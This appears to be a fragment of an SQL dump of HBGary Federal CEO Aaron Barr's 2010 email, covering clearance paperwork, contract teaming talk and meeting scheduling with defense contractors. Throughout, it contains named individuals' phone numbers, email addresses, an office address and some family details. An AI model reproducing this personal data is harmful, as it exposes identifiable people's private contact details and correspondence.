Vera\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk.\r\n Briefing starts at 830.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 7:06 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWhat time are you being briefed?  Maybe we can grab a cup of coffee after\r\nthat.  We&#39;ll discuss next steps then but I do not believe you need go to\r\nthe customer site.  All I need is notification that your clearance crossedover.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nAgreed.  Well I believe I am supposed to get briefed on Tuesday at your\r\nfacility.  So anytime after that.  Or do I need to go out to the\r\ncustomer facility for any briefings/badging? or does the Tuesday briefing\r\nsuffice?\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Good point, I&#39;ll check with our security to make sure he was submitted for\r\nISA.  I&#39;ll get back to you ASAP.  I&#39;d love to start talking about the\r\nCOIN work.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 9:30 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Wow I don&#39;t understand?  He was fully cleared ISA prior to leaving Northrop\r\nand had an SCI in JPAS I am pretty sure so it really catches me by surprise\r\nthat he would need to start from scratch.  Do you have any insight from\r\npast experience as to why this would be?  Is it possible he was submitted\r\nfor an ISSA like me by accident?\r\n&gt;\r\n&gt; I know that customers security is pretty cagey with answers.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; I believe he only had a ISA.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Subject: Re: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt; Is this for an ISA or ISSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt; &gt;\r\n&gt; &gt; &gt; Hi Aaron,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I got this bit of news in the mail.  Were you aware of\r\nthis?  We are looking at 16 months to clear him for an initial.  How\r\ndo you want to proceed?\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Let me know,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; _____________________________________________\r\n&gt; &gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; &gt; Subject: Ted Vera\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I received a notification from the customer today that they will\r\nnot be able to crossover Ted Vera&#39;s clearance. They said he must be submitted\r\nas an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Thanks,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Jonathan Willson\r\n&gt; &gt; &gt; Personnel Security\r\n&gt; &gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3789,'aaron_hbgary_com/3789.html'),(3992,'2010-03-12','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002099.M419739P3547Q3992.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ted Vera','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYeah, security says they checked ISA on the form.&nbsp; We can see\r\nif it was filled out correctly when you come on Tuesday.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 2:45 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks sorry for being a pest just trying to figure it out.\r\n&nbsp;There is a box on the form to check if it\'s a cross-over or new but they\r\ncan probably figure that out.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 2:40 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nISA\r\n&#8211; I checked with security.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 1:48 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk.\r\n&nbsp;One more question. &nbsp;Was it submitted as an ISA cross-over\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 1:09 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSecurity\r\nsays he was submitted for an ISA.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 1:01 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSounds\r\ngood. &nbsp;Any further information on Ted\'s clearance? &nbsp;Was it submitted\r\nfor an ISSA or ISA?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMar 12, 2010, at 12:55 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat,\r\nplease call me after you are done and I will meet you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, March 12,\r\n2010 7:09 AM\r\nTo:&nbsp;Clair, Chris (TASC)\r\nSubject:&nbsp;Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk.\r\n&nbsp;Briefing starts at 830.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 7:06 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWhat time are you being briefed?&nbsp; Maybe we can grab a cup of coffee after\r\nthat.&nbsp; We\'ll discuss next steps then but I do not believe you need go to\r\nthe customer site.&nbsp; All I need is notification that your clearance\r\ncrossedover.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nAgreed.&nbsp; Well I believe I am supposed to get briefed on Tuesday at your\r\nfacility.&nbsp; So anytime after that.&nbsp; Or do I need to go out to the\r\ncustomer facility for any briefings/badging? or does the Tuesday briefing\r\nsuffice?\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Good point, I\'ll check with our security to make sure he was submitted for\r\nISA.&nbsp; I\'ll get back to you ASAP.&nbsp; I\'d love to start talking about the\r\nCOIN work.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 9:30 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Wow I don\'t understand?&nbsp; He was fully cleared ISA prior to leaving\r\nNorthrop and had an SCI in JPAS I am pretty sure so it really catches me by\r\nsurprise that he would need to start from scratch.&nbsp; Do you have any\r\ninsight from past experience as to why this would be?&nbsp; Is it possible he\r\nwas submitted for an ISSA like me by accident?\r\n&gt;\r\n&gt; I know that customers security is pretty cagey with answers.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; I believe he only had a ISA.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Subject: Re: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt; Is this for an ISA or ISSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt; &gt;\r\n&gt; &gt; &gt; Hi Aaron,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I got this bit of news in the mail.&nbsp; Were you aware of\r\nthis?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How\r\ndo you want to proceed?\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Let me know,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; _____________________________________________\r\n&gt; &gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; &gt; Subject: Ted Vera\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I received a notification from the customer today that they will\r\nnot be able to crossover Ted Vera\'s clearance. They said he must be submitted\r\nas an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Thanks,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Jonathan Willson\r\n&gt; &gt; &gt; Personnel Security\r\n&gt; &gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9645,'aaron_hbgary_com/9645.html'),(3993,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002099.M608361P3547Q3993.eml','\"Christopher Barnett\" <chrislbarnett@gmail.com>','don\'t know what your csc email account is.','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7412,'aaron_hbgary_com/7412.html'),(3994,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002099.M784142P3547Q3994.eml','\"Hakenson, Kurt E (IT Solutions)\" <kurt.hakenson@ngc.com>','Re: EXTERNAL:Re: Call me','Wednesday or Thursday would work..Unless you want to do it earlier on Monday.  I am at NSA at 1pm.\r\n\r\nAaron\r\n\r\nOn Mar 12, 2010, at 2:12 PM, Hakenson, Kurt E (IT Solutions) wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> Can you give me a couple days next week where you\'d be available for lunch up here in the BWI area?\r\n> \r\n> Thanks!\r\n> \r\n> Kurt E. Hakenson\r\n> Chief Technologist\r\n> Electronic Systems Sector\r\n> Northrop Grumman Corporation\r\n> Phone: 410-993-6499\r\n> Fax:   410-865-7877\r\n> 1580 W. Nursery Road\r\n> Linthicum, MD 21090\r\n> \r\n> \"Embrace the Struggle\" -Zig Ziglar\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, March 12, 2010 10:12 AM\r\n> To: Hakenson, Kurt E (IT Solutions)\r\n> Subject: EXTERNAL:Re: Call me\r\n> \r\n> Hey Kurt,\r\n> \r\n> Hows it going?\r\n> \r\n> I do have 1 or 2 malware analysts with tickets if there is a need.  You mentioned 2 potential positions with the person you were talking with, I think up at the Fort.  Do you still want to set up a meeting?\r\n> \r\n> Aaron\r\n> \r\n> On Feb 24, 2010, at 9:28 PM, Hakenson, Kurt E (IT Solutions) wrote:\r\n> \r\n> \r\n> 	410-919-8067\r\n> 	\r\n> 	\r\n> 	\r\n> 	Kurt Hakenson\r\n> 	Chief Technologist\r\n> 	Electronic Systems Sector\r\n> 	Northrop Grumman Corp.\r\n> 	410-993-6499\r\n> 	\r\n> 	\"It is not necessary to change.  Survival is not mandatory.\" ~W. Edwards Deming\r\n> 	\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12172,'aaron_hbgary_com/12172.html'),(3995,'2010-03-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002101.M812800P3547Q3995.eml','\"Aaron Barr\" <aaron@hbgary.com>','RFP','attached\r\n',8164,'aaron_hbgary_com/8164.html'),(3996,'2010-03-12','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','/aaron@hbgary.com/new/1297002102.M166616P3547Q3996.eml','aaron@hbgary.com','TRICKLER Market Survey.docx','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI, we plan to respond as prime\r\n\r\n\r\n\r\n\r\n\r\n\r\n',118,'aaron_hbgary_com/118.html'),(3997,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002103.M608249P3547Q3997.eml','\"Bob Frizelle\" <rfrizzelle@csc.com>','Trickler','Bob,\r\n\r\nI spoke with Al Pisani and his BD lead today to get a feel about VISE.  They were unaware of the potential re-compete but then upon further looking they forwarded me the RFI, attached.  I think they would be interested in talking with CSC about a potential teaming relationship if their intel tells them BAH is in a rough spot.  They also have documented past performance as TASC running JTF-GNO, JFCC-NW, 1st IO, and other quals.  I will be meeting with Al and team next week and will discuss more with them.\r\n\r\nI also reach out to BIll Varner to get his take, I got a response back but not any information on VISE.\r\n\r\n\r\n',11019,'aaron_hbgary_com/11019.html'),(3998,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002103.M836621P3547Q3998.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: TRICKLER Market Survey.docx','\r\nntoc rfi\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Lovegrove, John (TASC)\" \r\n> Date: March 12, 2010 3:20:53 PM EST\r\n> To: \r\n> Subject: TRICKLER Market Survey.docx\r\n> \r\n> FYI, we plan to respond as prime\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9759,'aaron_hbgary_com/9759.html'),(3999,'2010-03-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002104.M263353P3547Q4000.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Drama','Multiple factors.  I\'ll call you in a few.\r\n\r\n\r\n\r\nOn Fri, Mar 12, 2010 at 2:18 PM, Aaron Barr  wrote:\r\n> hmmm....ok.\r\n>\r\n> was it work that caused the drama?\r\n>\r\n> On Mar 12, 2010, at 4:18 PM, Ted Vera wrote:\r\n>\r\n>> Change of plans.  I\'m staying here with Matthew.  Anja, Jeanne and\r\n>> Markus are going to Taos.\r\n>>\r\n>> I\'ll have more time this weekend to work on stuff.\r\n>>\r\n>> Ted\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11018,'aaron_hbgary_com/11018.html'),(4000,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002104.M450333P3547Q4001.eml','\"Bob Frizelle\" <rfrizzelle@csc.com>','Stream of thoughts','After looking at the RFI from a past performance perspective Northrop, TASC have very strong past performance, recent.  As of course does BAH.  I don\'t see a lot of strong past performance for ManTech in these areas.\r\n\r\nIt might be a bit weird, but I think a CSC, Northrop, TASC team would be strong.\r\n\r\nHave a good weekend.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7563,'aaron_hbgary_com/7563.html'),(4001,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002104.M58511P3547Q3999.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Drama','hmmm....ok.\r\n\r\nwas it work that caused the drama?\r\n\r\nOn Mar 12, 2010, at 4:18 PM, Ted Vera wrote:\r\n\r\n> Change of plans.  I\'m staying here with Matthew.  Anja, Jeanne and\r\n> Markus are going to Taos.\r\n> \r\n> I\'ll have more time this weekend to work on stuff.\r\n> \r\n> Ted\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8451,'aaron_hbgary_com/8451.html'),(4002,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002104.M710952P3547Q4002.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','Re: Virtual Introduction','Hey Mike,Just checking in. &nbsp;Last time we talked we didn\'t talk about NANA. &nbsp;If you win are you guys going to need any staffing help?Have a good weekend.AaronOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12794,'aaron_hbgary_com/12794.html'),(4003,'2010-03-12','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297002104.M914304P3547Q4003.eml','aaron@hbgary.com','Re: Virtual Introduction','\r\nAaron -Yes, we probably will. We should know in a few days. Latest report is that the announcement will come out on the 15th. We\'ll see.If this happens, I\'ll connect you with the PM.Have a good weekend.Mike- Sent by BlackBerry\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Mulville, Michael E.Sent: Fri Mar 12 16:51:48 2010Subject: Re: Virtual Introduction\r\nHey Mike,Just checking in. &nbsp;Last time we talked we didn\'t talk about NANA. &nbsp;If you win are you guys going to need any staffing help?Have a good weekend.AaronOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:Aaron –&nbsp;Thanks for the note back.&nbsp; This week is a bit crazy,&nbsp; how about next ?&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, January 25, 2010 11:29 PMTo:&nbsp;Mulville, Michael E.Subject:&nbsp;Re: Virtual Introduction&nbsp;I actually didn\'t head out to DC3. &nbsp;I will be out in Colorado Springs most of next week. &nbsp;How does your week this week look. &nbsp;I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?&nbsp;Aaron&nbsp;&nbsp;On Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:Matt –&nbsp;Thanks for the introduction.&nbsp;Aaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.&nbsp;I assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.&nbsp;Thanks – Mike Mulville&nbsp;&nbsp;&nbsp;Mike&nbsp;From:&nbsp;Matt O\'Flynn [mailto:matt@hbgary.com]&nbsp;Sent:&nbsp;Thursday, January 21, 2010 1:50 PMTo:&nbsp;Mulville, Michael E.;&nbsp;michael.p.courtny@saic.com; \'Aaron Barr\'Subject:&nbsp;Virtual Introduction&nbsp;Mike &amp; Michael,&nbsp;Good seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.&nbsp;Aaron Barr719-510-8478-Cell&nbsp;Mike Mulville703-622-9121&nbsp;Michael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;443-306-5683&nbsp;Best,&nbsp;Matt O\'Flynn954-559-6934www.hbgary.com&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8013,'aaron_hbgary_com/8013.html'),(4004,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002105.M111066P3547Q4004.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Virtual Introduction','From my iPhoneBegin forwarded message:From: &quot;Mulville, Michael E.&quot; &lt;MICHAEL.E.MULVILLE@saic.com&gt;\r\nDate: March 12, 2010 4:54:26 PM ESTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Virtual Introduction\r\n\r\nAaron -Yes, we probably will. We should know in a few days. Latest report is that the announcement will come out on the 15th. We&#39;ll see.If this happens, I&#39;ll connect you with the PM.Have a good weekend.\r\nMike\r\n- Sent by BlackBerry\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Mulville, Michael E.\r\nSent: Fri Mar 12 16:51:48 2010Subject: Re: Virtual Introduction\r\n\r\nHey Mike,Just checking in.  Last time we talked we didn&#39;t talk about NANA.  If you win are you guys going to need any staffing help?Have a good weekend.\r\nAaronOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:\r\nAaron –\r\n \r\nThanks for the note back.  This week is a bit crazy,  how about next ?\r\n \r\n \r\n \r\nMike\r\n \r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 25, 2010 11:29 PMTo: Mulville, Michael E.Subject: Re: Virtual Introduction\r\n \r\nI actually didn&#39;t head out to DC3.  I will be out in Colorado Springs most of next week.  How does your week this week look.  I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?\r\n Aaron\r\n  \r\nOn Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:\r\nMatt –\r\n \r\nThanks for the introduction.\r\n \r\nAaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.\r\n \r\nI assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.\r\n \r\nThanks – Mike 